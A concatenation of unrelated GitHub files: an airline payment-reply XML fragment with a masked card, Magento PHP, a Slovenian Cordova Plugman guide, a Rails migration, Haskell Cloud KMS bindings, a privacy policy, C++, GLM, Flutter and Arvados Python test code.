<attributeDescription>EUR</attributeDescription>
</criteriaDetails>
<criteriaDetails>
<attributeType>CCDTE1</attributeType>
<attributeDescription>0915</attributeDescription>
</criteriaDetails>
<criteriaDetails>
<attributeType>FOPCODE</attributeType>
<attributeDescription>VI</attributeDescription>
</criteriaDetails>
<criteriaDetails>
<attributeType>VENDORCODE</attributeType>
<attributeDescription>DC</attributeDescription>
</criteriaDetails>
</dataAndSwitchMap>
</pnrSupplementaryData>
</mopDetails>
<mopElementError>
<errorOrWarningCodeDetails>
<errorDetails>
<errorCode>4800</errorCode>
<errorCategory>WEC</errorCategory>
</errorDetails>
</errorOrWarningCodeDetails>
<errorWarningDescription>
<freeTextDetails>
<textSubjectQualifier>CAN</textSubjectQualifier>
<source>M</source>
<encoding>ZZZ</encoding>
</freeTextDetails>
<freeText>FP NOT ALLOWED FOR NEGOTIATED FARE</freeText>
</errorWarningDescription>
</mopElementError>
<paymentModule>
<groupUsage>
<attributeDetails>
<attributeType>FP</attributeType>
</attributeDetails>
</groupUsage>
<paymentData>
<merchantInformation>
<companyCode>AY</companyCode>
</merchantInformation>
<monetaryInformation>
<monetaryDetails>
<typeQualifier>AIR</typeQualifier>
<amount>20.00</amount>
<currency>EUR</currency>
</monetaryDetails>
<otherMonetaryDetails>
<typeQualifier>AUT</typeQualifier>
<amount>20.00</amount>
<currency>EUR</currency>
</otherMonetaryDetails>
<otherMonetaryDetails>
<typeQualifier>I</typeQualifier>
<amount>20.00</amount>
<currency>EUR</currency>
</otherMonetaryDetails>
<otherMonetaryDetails>
<typeQualifier>IPC</typeQualifier>
<amount>20.00</amount>
<currency>EUR</currency>
</otherMonetaryDetails>
<otherMonetaryDetails>
<typeQualifier>IT</typeQualifier>
<amount>20.00</amount>
<currency>EUR</currency>
</otherMonetaryDetails>
<otherMonetaryDetails>
<typeQualifier>ITC</typeQualifier>
<amount>20.00</amount>
<currency>EUR</currency>
</otherMonetaryDetails>
<otherMonetaryDetails>
<typeQualifier>T</typeQualifier>
<amount>20.00</amount>
<currency>EUR</currency>
</otherMonetaryDetails>
<otherMonetaryDetails>
<typeQualifier>TPC</typeQualifier>
<amount>20.00</amount>
<currency>EUR</currency>
</otherMonetaryDetails>
</monetaryInformation>
<paymentId>
<referenceType>PRI</referenceType>
<uniqueReference>249746105</uniqueReference>
</paymentId>
<fraudScreeningData>
<fraudScreening>
<statusInformation>
<indicator>FRA</indicator>
<action>N</action>
</statusInformation>
</fraudScreening>
<payerPhoneOrEmail>
<phoneOrEmailType>P</phoneOrEmailType>
<telephoneNumberDetails>
<telephoneNumber>3977-PAY</telephoneNumber>
</telephoneNumberDetails>
</payerPhoneOrEmail>
</fraudScreeningData>
</paymentData>
<paymentStatus>
<paymentStatusInformation>
<responseType>V</responseType>
<statusCode>KOMORE</statusCode>
</paymentStatusInformation>
</paymentStatus>
<mopInformation>
<fopInformation>
<formOfPayment>
<type>CC</type>
</formOfPayment>
</fopInformation>
<dummy></dummy>
<creditCardData>
<creditCardDetails>
<ccInfo>
<vendorCode>DC</vendorCode>
<cardNumber>XXXXXXXXXXXX0009</cardNumber>
<expiryDate>0915</expiryDate>
</ccInfo>
</creditCardDetails>
</creditCardData>
</mopInformation>
<dummy></dummy>
<mopDetailedData>
<fopInformation>
<formOfPayment>
<type>CC</type>
</formOfPayment>
</fopInformation>
<dummy></dummy>
<creditCardDetailedData>
<authorisationSupplementaryData></authorisationSupplementaryData>
<localDateTime>
<businessSemantic>T</businessSemantic>
<timeMode>L</timeMode>
<dateTime>
<year>2012</year>
<month>10</month>
<day>12</day>
<hour>13</hour>
<minutes>0</minutes>
<seconds>51</seconds>
</dateTime>
</localDateTime>
<authorisationInformation>
<transactionDetails>
<type>ZZ</type>
<issueIndicator>N</issueIndicator>
</transactionDetails>
</authorisationInformation>
</creditCardDetailedData>
</mopDetailedData>
</paymentModule>
</mopDescription>
</fopDescription>
</FOP_CreateFormOfPaymentReply> | {
"pile_set_name": "Github"
} |
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Mage_Adminhtml
* @copyright Copyright (c) 2006-2020 Magento, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Adminhtml system config array field renderer
*
* @category Mage
* @package Mage_Adminhtml
* @author Magento Core Team <[email protected]>
*/
abstract class Mage_Adminhtml_Block_System_Config_Form_Field_Array_Abstract
extends Mage_Adminhtml_Block_System_Config_Form_Field
{
/**
* Grid columns
*
* @var array
*/
protected $_columns = array();
/**
* Enable the "Add after" button or not
*
* @var bool
*/
protected $_addAfter = true;
/**
* Label of add button
*
* @var unknown_type
*/
protected $_addButtonLabel;
/**
* Rows cache
*
* @var array|null
*/
private $_arrayRowsCache;
/**
* Indication whether block is prepared to render or no
*
* @var bool
*/
protected $_isPreparedToRender = false;
/**
* Check if columns are defined, set template
*
*/
public function __construct()
{
if (!$this->_addButtonLabel) {
$this->_addButtonLabel = Mage::helper('adminhtml')->__('Add');
}
parent::__construct();
if (!$this->getTemplate()) {
$this->setTemplate('system/config/form/field/array.phtml');
}
}
/**
* Add a column to array-grid
*
* @param string $name
* @param array $params
*/
public function addColumn($name, $params)
{
$this->_columns[$name] = array(
'label' => empty($params['label']) ? 'Column' : $params['label'],
'size' => empty($params['size']) ? false : $params['size'],
'style' => empty($params['style']) ? null : $params['style'],
'class' => empty($params['class']) ? null : $params['class'],
'renderer' => false,
);
if ((!empty($params['renderer'])) && ($params['renderer'] instanceof Mage_Core_Block_Abstract)) {
$this->_columns[$name]['renderer'] = $params['renderer'];
}
}
/**
* Get the grid and scripts contents
*
* @param Varien_Data_Form_Element_Abstract $element
* @return string
*/
protected function _getElementHtml(Varien_Data_Form_Element_Abstract $element)
{
$this->setElement($element);
$html = $this->_toHtml();
$this->_arrayRowsCache = null; // doh, the object is used as singleton!
return $html;
}
/**
* Prepare existing row data object
*
* @param Varien_Object
*/
protected function _prepareArrayRow(Varien_Object $row)
{
// override in descendants
}
/**
* Obtain existing data from form element
*
* Each row will be instance of Varien_Object
*
* @return array
*/
public function getArrayRows()
{
if (null !== $this->_arrayRowsCache) {
return $this->_arrayRowsCache;
}
$result = array();
/** @var Varien_Data_Form_Element_Abstract */
$element = $this->getElement();
if ($element->getValue() && is_array($element->getValue())) {
foreach ($element->getValue() as $rowId => $row) {
foreach ($row as $key => $value) {
$row[$key] = $this->escapeHtml($value);
}
$row['_id'] = $rowId;
$result[$rowId] = new Varien_Object($row);
$this->_prepareArrayRow($result[$rowId]);
}
}
$this->_arrayRowsCache = $result;
return $this->_arrayRowsCache;
}
/**
* Render array cell for prototypeJS template
*
* @param string $columnName
* @return string
*/
protected function _renderCellTemplate($columnName)
{
if (empty($this->_columns[$columnName])) {
throw new Exception('Wrong column name specified.');
}
$column = $this->_columns[$columnName];
$inputName = $this->getElement()->getName() . '[#{_id}][' . $columnName . ']';
if ($column['renderer']) {
return $column['renderer']->setInputName($inputName)->setColumnName($columnName)->setColumn($column)
->toHtml();
}
return '<input type="text" name="' . $inputName . '" value="#{' . $columnName . '}" ' .
($column['size'] ? 'size="' . $column['size'] . '"' : '') . ' class="' .
(isset($column['class']) ? $column['class'] : 'input-text') . '"'.
(isset($column['style']) ? ' style="'.$column['style'] . '"' : '') . '/>';
}
/**
* Prepare to render
*/
protected function _prepareToRender()
{
// Override in descendants to add columns, change add button label etc
}
/**
* Render block HTML
*
* @return string
*/
protected function _toHtml()
{
if (!$this->_isPreparedToRender) {
$this->_prepareToRender();
$this->_isPreparedToRender = true;
}
if (empty($this->_columns)) {
throw new Exception('At least one column must be defined.');
}
return parent::_toHtml();
}
}
| {
"pile_set_name": "Github"
} |
---
license: >
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
title: Uporaba Plugman za upravljanje Plugins
toc_title: Use Plugman
---
# Uporaba Plugman za upravljanje Plugins
Od različice 3.0 naprej, Cordova izvaja vse naprave API kot plugins, in nanje privzeto onemogočene. Podpira tudi dva različna načina za dodajanje in odstranjevanje plugins. Prvi je s pomočjo na `cordova` CLI, opisane v vmesnik ukazne vrstice. Drugi je z uporabo nižje ravni [Plugman][1] vmesnik ukazne vrstice (potek dela "Native platformo dev".) Glavna razlika med teh dveh razvojnih poti je, da Plugman lahko samo dodati plugins eno platformo naenkrat, ker CLI bo dodati plugins vse platforme, ki jih ciljate. Zaradi tega je bolj smiselno uporabiti Plugman, ko delate tesno z enotno platformo, zato ime "Native platformo Dev" potek dela.
[1]: https://github.com/apache/cordova-plugman/
Več informacij na Plugman, še posebej, če ste zainteresirani za uživanje Plugman kot vozlišče modul ali taksist na šifro Plugman, glejte [README datoteko v svojem skladišču][2].
[2]: https://github.com/apache/cordova-plugman/blob/master/README.md
## Namestitev Plugman
Namestite plugman, morate imeti [sečišče][3] nameščen v vašem računalniku. Potem vi moči prost dostop sledeč zapoved od kjerkoli v vašem okolju namestiti plugman globalno, tako da je na voljo od poljuben imenik v računalniku:
[3]: http://nodejs.org/
$ npm install -g plugman
Vi življati imeti tudi `git` na vaš `PATH` biti sposobni namestiti plugins neposredno iz oddaljenih kreten URLs.
**Nasvet:** Če ugotovite, da po namestitvi plugman z npm ste še vedno nezmožen teči poljuben `plugman` ukaze, se prepričajte, da ste dodali v `/npm/` imenik v vaš`PATH`.
**Opomba:** Ta korak lahko preskočite, če ne želite, da onesnažujejo globalni npm namespace z namestitvijo Plugman na svetovni ravni. Če je temu tako, potem ko ustvarite Cordova projekt z lupino orodja, bo na `node_modules` imenik znotraj vašega projekta, ki vsebuje Plugman. Ker si ne instally globalno, boste morali sklicevati vozlišča za vsak Plugman ukaz, na primer `node ./node_modules/plugman/main.js -version` . Preostanek ta vodnik prevzame ste namestili Plugman globalno, kar pomeni, da lahko zaženete s samo`plugman`.
## Ustvarjanje Cordova projekta
Preden lahko uporabite Plugman, morate ustvariti projekt Cordova. To storite z bodisi z ukazno vrstico ali nižji ravni lupine skripte. Navodila za uporabo lupine skripte, da ustvarite svoj projekt se nahajajo v različnih "Ukazne vrstice orodja" vodniki, navedena na platformo vodniki.
## Dodal Plugin
Nekoč vi življati umestiti Plugman ter ustvarili projekt Cordova, lahko začnete dodajanje plugins platformo z:
$ plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin <name|url|path> [--plugins_dir <directory>] [--www <directory>] [--variable <name>=<value> [--variable <name>=<value> ...]]
Z uporabo minimalne parametrov, ta ukaz namesti plugin v projektu cordova. Navesti morate mesto platformo in cordova projekta za to platformo. Prav tako morate navesti plugin, z različnimi `--plugin` parameter oblike bitje:
* `name`: Ime imenika, kjer obstaja plugin vsebino. To mora biti obstoječ imenik pod na `--plugins_dir` poti (glej spodaj za več info) ali plugin v registru Cordova.
* `url`: URL začne z https:// ali kreten: / /, če pokažete veljavno git skladišče, ki je clonable in vsebuje a `plugin.xml` pila. Bi program kopira vsebino tega skladišča v na`--plugins_dir`.
* `path`: Pot do imenika, ki vsebuje veljavne plugin, ki vključuje a `plugin.xml` pila. Ta pot vsebine bodo kopirani v na`--plugins_dir`.
Drugi parametri:
* `--plugins_dir`privzeto `<project>/cordova/plugins` , vendar je lahko poljuben imenik, ki vsebuje podimenik za vsako nerealne plugin.
* `--www`privzete nastavitve v projekt `www` mesto mape, vendar lahko naslovnik, ki se uporablja kot cordova projekt uporabe spletnih sredstev.
* `--variable`omogoča, da določite nekatere spremenljivke v napeljati čas, potreben za nekatere plugins, ki zahteva API tipke ali drugih parametrov, po meri, uporabniško definirane. Oglejte si [specifikacije plugin][4] za več informacij.
[4]: plugin_spec.md
## Odstranite Plugin
V uninstall plugin, da preprosto prenesti na `--uninstall` zastava ter zagotoviti plugin ID.
$ plugman --uninstall --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin <id> [--www <directory>] [--plugins_dir <directory>]
## Pomoč ukazov
Plugman značilnosti globalnih pomoč ukaz, ki vam lahko pomagajo, če vi zaslužiti zaljubljen ali so težave. Prikaže seznam vseh ukazov Plugman in svoje sintakse:
plugman -help
plugman # same as above
**Opomba**: `plugman -help` lahko kažejo nekatere dodatne ukaze povezan z registrom. Ti ukazi so plugin za razvijalce in ne smejo izvajati na tretji plugin registrov.
Lahko tudi dodate v `--debug|-d` zastave Plugman ukaz, da zaženete ta ukaz v podrobnem načinu, ki bo prikazal vse notranje informacije o iskanju napak, saj so oddane in vam lahko pomagajo izslediti težave, kot so manjkajoče datoteke.
# Adding Android battery-status plugin to "myProject":
plugman -d --platform android --project myProject --plugin org.apache.cordova.battery-status
Končno, lahko uporabite na `--version|-v` zastavo, da vidite, katera različica Plugman, ki ga uporabljate.
plugman -v
## Registracija dejavnosti
Obstajajo številne plugman ukazov, ki se lahko uporabijo za interakcijo s [registracija Plugin][5]. Prosimo, upoštevajte, da ti ukazi register posebej za register *plugins.cordova.io* plugin, ne smejo izvajati tretji plugin registri.
[5]: http://plugins.cordova.io
### Iščete Plugin
Plugman lahko uporabite za iskanje [registracija Plugin][5] za plugin id's, ki ustreza dani prostor ločen seznam ključnih besed.
plugman search <plugin keywords>
### Sprememba Plugin registracija
Lahko dobite ali pa nastavite URL sedanji registracija plugin, ki uporablja plugman. Na splošno mora zapustiti ta nastavljena na http://registry.cordova.io, razen če vi biti brez rabiti a tretji stranka plugin registra.
plugman config set registry <url-to-registry>
plugman config get registry
### Get Plugin informacije
Lahko dobite informacije o posebnih plugin shranjeni v plugin skladišču:
plugman info <id>
To bo stik plugin registracija ter puščati podatke, kot so številka različice je plugin.
## Namestitvi Plugins jedro
Spodnji primeri kažejo, kako dodati plugins, kot je potrebno, da vse Cordova API uporabljate v vašem projektu še vedno dela, ko nadgradite na različico 3.0. Za vsak ukaz, morate izbrati ciljni platformi, in referenčno platformo imenik projekta.
* cordova-plugin-battery-status
plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.battery-status
* cordova-plugin-camera plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.camera
* cordova-plugin-console plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.console
* cordova-plugin-contacts plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.contacts
* cordova-plugin-device plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.device
* cordova-plugin-device-motion (accelerometer) plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.device-motion
* cordova-plugin-device-orientation (compass) plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.device-orientation
* cordova-plugin-dialogs plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.dialogs
* cordova-plugin-file plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.file
* cordova-plugin-file-transfer plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.file-transfer
* cordova-plugin-geolocation plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.geolocation
* cordova-plugin-globalization plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.globalization
* cordova-plugin-inappbrowser plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.inappbrowser
* cordova-plugin-media plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.media
* cordova-plugin-media-capture plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.media-capture
* cordova-plugin-network-information plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.network-information
* cordova-plugin-splashscreen plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.splashscreen
* cordova-plugin-vibration plugman --platform <ios|amazon-fireos|android|blackberry10|wp7|wp8> --project <directory> --plugin org.apache.cordova.vibration | {
"pile_set_name": "Github"
} |
class AddCompletedToSurveyNotification < ActiveRecord::Migration[4.2]
def change
add_column :survey_notifications, :completed, :boolean, default: false
end
end
| {
"pile_set_name": "Github"
} |
{-# LANGUAGE DataKinds #-}
{-# LANGUAGE DeriveDataTypeable #-}
{-# LANGUAGE DeriveGeneric #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE NoImplicitPrelude #-}
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE RecordWildCards #-}
{-# LANGUAGE TypeFamilies #-}
{-# LANGUAGE TypeOperators #-}
{-# OPTIONS_GHC -fno-warn-duplicate-exports #-}
{-# OPTIONS_GHC -fno-warn-unused-binds #-}
{-# OPTIONS_GHC -fno-warn-unused-imports #-}
-- |
-- Module : Network.Google.Resource.CloudKMS.Projects.Locations.KeyRings.CryptoKeys.UpdatePrimaryVersion
-- Copyright : (c) 2015-2016 Brendan Hay
-- License : Mozilla Public License, v. 2.0.
-- Maintainer : Brendan Hay <[email protected]>
-- Stability : auto-generated
-- Portability : non-portable (GHC extensions)
--
-- Update the version of a CryptoKey that will be used in Encrypt. Returns
-- an error if called on an asymmetric key.
--
-- /See:/ <https://cloud.google.com/kms/ Cloud Key Management Service (KMS) API Reference> for @cloudkms.projects.locations.keyRings.cryptoKeys.updatePrimaryVersion@.
module Network.Google.Resource.CloudKMS.Projects.Locations.KeyRings.CryptoKeys.UpdatePrimaryVersion
(
-- * REST Resource
ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersionResource
-- * Creating a Request
, projectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion
, ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion
-- * Request Lenses
, plkrckupvXgafv
, plkrckupvUploadProtocol
, plkrckupvAccessToken
, plkrckupvUploadType
, plkrckupvPayload
, plkrckupvName
, plkrckupvCallback
) where
import Network.Google.CloudKMS.Types
import Network.Google.Prelude
-- | A resource alias for @cloudkms.projects.locations.keyRings.cryptoKeys.updatePrimaryVersion@ method which the
-- 'ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion' request conforms to.
type ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersionResource
=
"v1" :>
CaptureMode "name" "updatePrimaryVersion" Text :>
QueryParam "$.xgafv" Xgafv :>
QueryParam "upload_protocol" Text :>
QueryParam "access_token" Text :>
QueryParam "uploadType" Text :>
QueryParam "callback" Text :>
QueryParam "alt" AltJSON :>
ReqBody '[JSON] UpdateCryptoKeyPrimaryVersionRequest
:> Post '[JSON] CryptoKey
-- | Update the version of a CryptoKey that will be used in Encrypt. Returns
-- an error if called on an asymmetric key.
--
-- /See:/ 'projectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion' smart constructor.
data ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion =
ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion'
{ _plkrckupvXgafv :: !(Maybe Xgafv)
, _plkrckupvUploadProtocol :: !(Maybe Text)
, _plkrckupvAccessToken :: !(Maybe Text)
, _plkrckupvUploadType :: !(Maybe Text)
, _plkrckupvPayload :: !UpdateCryptoKeyPrimaryVersionRequest
, _plkrckupvName :: !Text
, _plkrckupvCallback :: !(Maybe Text)
}
deriving (Eq, Show, Data, Typeable, Generic)
-- | Creates a value of 'ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion' with the minimum fields required to make a request.
--
-- Use one of the following lenses to modify other fields as desired:
--
-- * 'plkrckupvXgafv'
--
-- * 'plkrckupvUploadProtocol'
--
-- * 'plkrckupvAccessToken'
--
-- * 'plkrckupvUploadType'
--
-- * 'plkrckupvPayload'
--
-- * 'plkrckupvName'
--
-- * 'plkrckupvCallback'
projectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion
:: UpdateCryptoKeyPrimaryVersionRequest -- ^ 'plkrckupvPayload'
-> Text -- ^ 'plkrckupvName'
-> ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion
projectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion pPlkrckupvPayload_ pPlkrckupvName_ =
ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion'
{ _plkrckupvXgafv = Nothing
, _plkrckupvUploadProtocol = Nothing
, _plkrckupvAccessToken = Nothing
, _plkrckupvUploadType = Nothing
, _plkrckupvPayload = pPlkrckupvPayload_
, _plkrckupvName = pPlkrckupvName_
, _plkrckupvCallback = Nothing
}
-- | V1 error format.
plkrckupvXgafv :: Lens' ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion (Maybe Xgafv)
plkrckupvXgafv
= lens _plkrckupvXgafv
(\ s a -> s{_plkrckupvXgafv = a})
-- | Upload protocol for media (e.g. \"raw\", \"multipart\").
plkrckupvUploadProtocol :: Lens' ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion (Maybe Text)
plkrckupvUploadProtocol
= lens _plkrckupvUploadProtocol
(\ s a -> s{_plkrckupvUploadProtocol = a})
-- | OAuth access token.
plkrckupvAccessToken :: Lens' ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion (Maybe Text)
plkrckupvAccessToken
= lens _plkrckupvAccessToken
(\ s a -> s{_plkrckupvAccessToken = a})
-- | Legacy upload protocol for media (e.g. \"media\", \"multipart\").
plkrckupvUploadType :: Lens' ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion (Maybe Text)
plkrckupvUploadType
= lens _plkrckupvUploadType
(\ s a -> s{_plkrckupvUploadType = a})
-- | Multipart request metadata.
plkrckupvPayload :: Lens' ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion UpdateCryptoKeyPrimaryVersionRequest
plkrckupvPayload
= lens _plkrckupvPayload
(\ s a -> s{_plkrckupvPayload = a})
-- | The resource name of the CryptoKey to update.
plkrckupvName :: Lens' ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion Text
plkrckupvName
= lens _plkrckupvName
(\ s a -> s{_plkrckupvName = a})
-- | JSONP
plkrckupvCallback :: Lens' ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion (Maybe Text)
plkrckupvCallback
= lens _plkrckupvCallback
(\ s a -> s{_plkrckupvCallback = a})
instance GoogleRequest
ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion
where
type Rs
ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion
= CryptoKey
type Scopes
ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion
=
'["https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/cloudkms"]
requestClient
ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersion'{..}
= go _plkrckupvName _plkrckupvXgafv
_plkrckupvUploadProtocol
_plkrckupvAccessToken
_plkrckupvUploadType
_plkrckupvCallback
(Just AltJSON)
_plkrckupvPayload
cloudKMSService
where go
= buildClient
(Proxy ::
Proxy
ProjectsLocationsKeyRingsCryptoKeysUpdatePrimaryVersionResource)
mempty
| {
"pile_set_name": "Github"
} |
---
title: "Privacy Policy" #
layout: single-no-ads
---
### Cookies
This site utilizes cookies in order to facilitate routing users through the guide instructions. Cookies allow for the sidebar of the page to display current progress through the site to help users navigate the instructions more easily.
### Embedded Content From Other Websites
This site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves as if the user has visited the other website.
These websites may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with that embedded content, including tracking your interaction with the embedded content if you have an account and are logged in to that website.
### Analytics
This site uses Google Analytics to monitor and analyze traffic. This site is hosted by Github Pages, which may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with this site. For more information about Github Pages as it relates to user privacy, see the [GitHub Privacy Statement](https://help.github.com/en/articles/github-privacy-statement).
### Information Collected
This site does not collect personal information. This site may collect usage information in order to analyze interest in content and to provide advertisers with information on an aggregate basis. No personally identifiable information is shared with third-party advertising companies.
### Third-Party Websites
This site may link to other sites for users to use or reference. This site is not responsible for the privacy policies of other sites. Users should be aware that the privacy policies of other websites may differ from this one.
### Changes to Privacy Policy
The contents of this Privacy Policy may be altered at any time and for any reason.
| {
"pile_set_name": "Github"
} |
// This should have default (public) access.
// And it can't be marked a a friend since it is not declared in the context of a class.
void foobar();
class A
{
// Example of defining and nondefining declaration's access modifier being different.
// For any non-friend defining declaration defined in the class, it's non-defining
// declaration's access must match the defining declaration.
void foo(void) {}
int x;
// This should have default (public) access.
friend void foobar() {}
};
void foo_main()
{
foobar();
}
| {
"pile_set_name": "Github"
} |
///////////////////////////////////////////////////////////////////////////////////
/// OpenGL Mathematics (glm.g-truc.net)
///
/// Copyright (c) 2005 - 2012 G-Truc Creation (www.g-truc.net)
/// Permission is hereby granted, free of charge, to any person obtaining a copy
/// of this software and associated documentation files (the "Software"), to deal
/// in the Software without restriction, including without limitation the rights
/// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
/// copies of the Software, and to permit persons to whom the Software is
/// furnished to do so, subject to the following conditions:
///
/// The above copyright notice and this permission notice shall be included in
/// all copies or substantial portions of the Software.
///
/// Restrictions:
/// By making use of the Software for military purposes, you choose to make
/// a Bunny unhappy.
///
/// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
/// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
/// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
/// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
/// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
/// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
/// THE SOFTWARE.
///
/// @ref gtx_scalar_relational
/// @file glm/gtx/scalar_relational.inl
/// @date 2013-02-04 / 2013-02-04
/// @author Christophe Riccio
///////////////////////////////////////////////////////////////////////////////////
namespace glm
{
template <typename T>
GLM_FUNC_QUALIFIER bool lessThan
(
T const & x,
T const & y
)
{
return x < y;
}
template <typename T>
GLM_FUNC_QUALIFIER bool lessThanEqual
(
T const & x,
T const & y
)
{
return x <= y;
}
template <typename T>
GLM_FUNC_QUALIFIER bool greaterThan
(
T const & x,
T const & y
)
{
return x > y;
}
template <typename T>
GLM_FUNC_QUALIFIER bool greaterThanEqual
(
T const & x,
T const & y
)
{
return x >= y;
}
template <typename T>
GLM_FUNC_QUALIFIER bool equal
(
T const & x,
T const & y
)
{
return x == y;
}
template <typename T>
GLM_FUNC_QUALIFIER bool notEqual
(
T const & x,
T const & y
)
{
return x != y;
}
GLM_FUNC_QUALIFIER bool any
(
bool const & x
)
{
return x;
}
GLM_FUNC_QUALIFIER bool all
(
bool const & x
)
{
return x;
}
GLM_FUNC_QUALIFIER bool not_
(
bool const & x
)
{
return !x;
}
}//namespace glm
| {
"pile_set_name": "Github"
} |
import 'package:flutter/material.dart';
import 'package:flutter_svg/flutter_svg.dart';
// THIS FILE IS AUTO-GENERATED
class KoukiconsTrademark extends StatelessWidget {
final double height;
final double width;
final Color color;
final _svgString = '''
<svg version="1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48" enable-background="new 0 0 48 48"> <circle fill="#9C27B0" cx="24" cy="24" r="21"/> <g fill="#E1BEE7"> <path d="M20.6,18.5h-4.2v14.2h-3.5V18.5H8.7v-2.9h11.9V18.5z"/> <path d="M27.1,15.6L30.3,28l3.2-12.4h4.5v17.1h-3.5v-4.6l0.3-7.1l-3.4,11.8h-2.4L25.7,21l0.3,7.1v4.6h-3.5V15.6 H27.1z"/> </g></svg>
''';
KoukiconsTrademark({Key key, this.height, this.width, this.color}) : super(key: key);
@override
Widget build(BuildContext context) {
return SvgPicture.string(
_svgString,
color: this.color,
height: this.height,
width: this.width,
);
}
}
| {
"pile_set_name": "Github"
} |
# Copyright (C) The Arvados Authors. All rights reserved.
#
# SPDX-License-Identifier: Apache-2.0
from __future__ import absolute_import
from builtins import hex
from builtins import str
from builtins import range
from builtins import object
import bz2
import datetime
import gzip
import io
import mock
import os
import unittest
import time
import arvados
from arvados._ranges import Range
from arvados.keep import KeepLocator
from arvados.collection import Collection, CollectionReader
from arvados.arvfile import ArvadosFile, ArvadosFileReader
from . import arvados_testutil as tutil
from .test_stream import StreamFileReaderTestCase, StreamRetryTestMixin
class ArvadosFileWriterTestCase(unittest.TestCase):
class MockKeep(object):
